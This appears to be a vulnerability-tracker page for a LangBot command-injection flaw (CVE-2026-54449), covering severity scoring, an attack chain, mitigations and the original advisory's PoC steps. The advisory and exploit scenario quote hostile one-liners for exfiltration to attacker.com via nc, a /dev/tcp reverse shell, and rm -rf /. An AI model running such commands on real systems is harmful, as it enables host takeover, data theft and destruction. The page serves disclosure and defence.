Skip to main content

LangBot CVE-2026-54449

| EUVDEUVD-2026-63480 HIGH
Command Injection (CWE-77)
2026-07-15 https://github.com/langbot-app/LangBot GHSA-3pvh-63gf-j9mw PYSEC-2026-3473
8.8
CVSS 3.1 · Vendor: https://github.com/langbot-app/LangBot
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Reach exposed LangBot UI
  2. Delivery
    Authenticate as any user
  3. Exploit
    Open Extensions MCP tab
  4. Install
    Add STDIO MCP with malicious command
  5. C2
    Configuration spawns subprocess
  6. Execute
    Execute reverse shell / exfil
  7. Impact
    Full host takeover

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Command injection prevention
MITRE ATT&CK

1 technique across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires (1) network reachability to the LangBot web interface - either a public instance or an internal one on the attacker's network segment for lateral movement - and (2) an authenticated LangBot account of any privilege level (the attacker must sign up or use stolen/valid credentials; per PR:L no admin role is needed). The specific enabling feature is the Extensions > MCP configuration that accepts an 'STDIO' MCP server with a user-supplied command and arguments, which LangBot executes via the MCP SDK's StdioServerParameters. Limiting factors: the attacker cannot exploit this fully unauthenticated, so instances that disable self-service registration, enforce strong credentials/MFA, and restrict the MCP configuration UI to trusted admins substantially raise the bar. No user interaction from a victim is required (UI:N).

Impact

The CVSS 3.1 vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H (base 8.8, High) accurately reflects the flaw: network-reachable, low complexity, no user interaction, and full confidentiality/integrity/availability impact, gated only by PR:L (authentication required). The determining risk factor is therefore how the instance handles authentication - if self-service registration is enabled or credentials are weak/stolen, the PR:L barrier is trivial, making this effectively a near-unauthenticated RCE on exposed instances. A functional, documented POC (steps plus video) exists, raising practical exploitability, but the vulnerability is NOT in CISA KEV and no EPSS score was provided, so there is no evidence of widespread active exploitation yet. The most significant negative signal is remediation: fixed version is listed as None, meaning no vendor-released patch is identified at time of analysis, which elevates real-world urgency for any internet-facing deployment despite the absence of KEV listing.

Exploit ScenarioDerived

An attacker discovers an internet-exposed LangBot instance, creates an account (or reuses stolen credentials), and browses to Extensions > MCP > Add. They add an STDIO MCP server whose command is a reverse shell (e.g. bash -i >& /dev/tcp/10.0.0.1/8080 0>&1) or a data-exfiltration one-liner; when the configuration is loaded, LangBot spawns the command and the attacker gains a shell on the host. A public step-by-step and video POC demonstrates this exact chain, and the low CVSS attack complexity means no special timing or bypass is needed.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
No patch listed yet 0.4% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 15, 2026

Authenticated remote code execution in LangBot (pip package 'langbot', versions <= 4.10.5) allows any logged-in user to run arbitrary OS commands on the host by registering a malicious 'STDIO' MCP server through the Extensions > MCP configuration UI. Because LangBot passes the user-supplied command straight to the MCP SDK's StdioServerParameters, which spawns it as a subprocess, an attacker who signs up or uses stolen credentials gains full host takeover. A step-by-step and video proof-of-concept is public (publicly available exploit code exists), though there is no confirmed active exploitation.

RemediationAI

No vendor-released patch identified at time of analysis - the advisory lists the fixed version as None, so upgrading is not yet an option and compensating controls are required. Remove LangBot from public internet exposure and place it behind a VPN or IP allowlist so only trusted operators can reach the management UI, since the flaw requires only low-privileged authentication. Disable self-service account registration and enforce strong, unique credentials plus MFA to prevent trivial attacker sign-up or credential-stuffing abuse of the PR:L barrier. Restrict or remove access to the Extensions > MCP configuration feature for non-administrative users, and where possible avoid enabling STDIO-type MCP servers; if STDIO MCP is not needed, block that transport entirely. Run the LangBot process as a low-privileged, sandboxed/containerized user with a read-only filesystem and no outbound network egress to limit the blast radius of any command execution (trade-off: may break legitimate outbound tool integrations). Monitor for the advisory at https://github.com/langbot-app/LangBot/security/advisories/GHSA-3pvh-63gf-j9mw and apply the official fixed release as soon as it is published.

Affected VersionsENISA

LangBot ≤ 4.10.7

Affected Packages

pypi langbot no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

LangBot is a Python-based multi-platform LLM chatbot/agent platform that integrates external tools via the Model Context Protocol (MCP). In src/langbot/pkg/provider/tools/loaders/mcp.py it imports StdioServerParameters from Anthropic's open-source 'mcp' SDK; for an STDIO transport, MCP is designed to launch a local child process whose command and arguments come from the server configuration. LangBot exposes this configuration to authenticated end users without restricting or sanitizing the command field, so the design-intended subprocess spawn becomes an arbitrary command-execution primitive. The root cause maps to CWE-77/CWE-78 (OS Command Injection): trusting user-controlled input as an executable command. The affected package is identified by CPE/PURL pkg:pip/langbot.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/langbot-app/LangBot) PRIMARY 8.8 HIGH
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
vuln.today AI 8.8 HIGH

Network-reachable UI, low complexity, no user interaction; requires any authenticated account (PR:L), and arbitrary command execution yields full host compromise (C:H/I:H/A:H).

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/langbot-app/LangBot).

CVSS VectorVendor: https://github.com/langbot-app/LangBot

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

DescriptionCVE.org

Summary

Any authenticated user can achieve arbitrary command execution on the LangBot servers through changing the MCP Server Configuration by added an "STDIO" MCP with an arbitrary command.

Details

The repository uses StdioServerParameters which is based on Anthropic's modelcontextprotocol open source, inside the code - src/langbot/pkg/provider/tools/loaders/mcp.py - StdioServerParameters is imported from mcp, which executes a given command which runs a subprocess on the target machine.

Since the LangBot services are authenticated, an attacker finding an open server needs to sign up or login via stolen credentials, then the attacker can use the MCP configuration to enter any arbitrary command, giving the ability to completely take over the machine.

PoC

  1. Open the LangBot server
  2. Navigate to Extensions
  3. Open the "MCP" tab and press "Add"
  4. Choose an STDIO server configuration
  5. Add any arbitrary command with arguments

<img width="480" height="538" alt="Screenshot 2026-01-19 at 15 08 43" src="https://github.com/user-attachments/assets/c341afa8-68c0-4c34-b5b6-ad8796184bdd" />

Note that an attacker could use this configuration to enter any arbitrary command, including data exfiltration (cat /etc/passwd | nc attacker.com 4444), opening a reverse shell (bash -i >& /dev/tcp/10.0.0.1/8080 0>&1), potentially removing the whole machine's data (rm -rf / --no-preserve-root), and many more.

Impact

This is an authenticated remote code execution vulnerability (RCE), affecting any publicly available LangBot instance, and local instances when in the same network as the attacker (Lateral Movement). CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').

Video POC

https://github.com/user-attachments/assets/4868d232-7453-442c-bffd-60f0ad4679ea

Resources

https://www.ox.security/blog/the-mother-of-all-ai-supply-chains-critical-systemic-vulnerability-at-the-core-of-the-mcp/ https://www.ox.security/blog/mcp-supply-chain-advisory-rce-vulnerabilities-across-the-ai-ecosystem/

Executive ViewAI

Why It Matters

LangBot (pip package, versions ≤4.10.5) contains a remote code execution vulnerability affecting any user with valid credentials to the system, allowing complete system takeover. Publicly available exploit code exists, creating imminent risk for organizations running LangBot of infrastructure compromise through either legitimate user access or credential theft.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Use network segmentation and firewall rules to restrict LangBot access and limit blast radius; (2) Restrict or disable access to the Extensions > MCP configuration UI; (3) Limit LangBot user accounts to service accounts with minimal privileges; (4) Enable comprehensive command audit logging and system call monitoring to detect exploitation; (5) Enforce multi-factor authentication for LangBot access; (6) Execute rapid migration and deprecation plan for alternative tools.

Threat Intelligence Overview

EPSS Score
0.4%
Top 66% exploitable
Prevalence
Low
niche open-source LLM chatbot platform, limited production footprint
Threat Intel
1
1 source
Exploit
POC
Public exploit code exists
Social Media
1
Sightings
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.4%
Patch available No
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
Poc
System Exposure· derived
Open
Automatable· derived
No
Human Impact
High

Priority Score

64
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +44
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy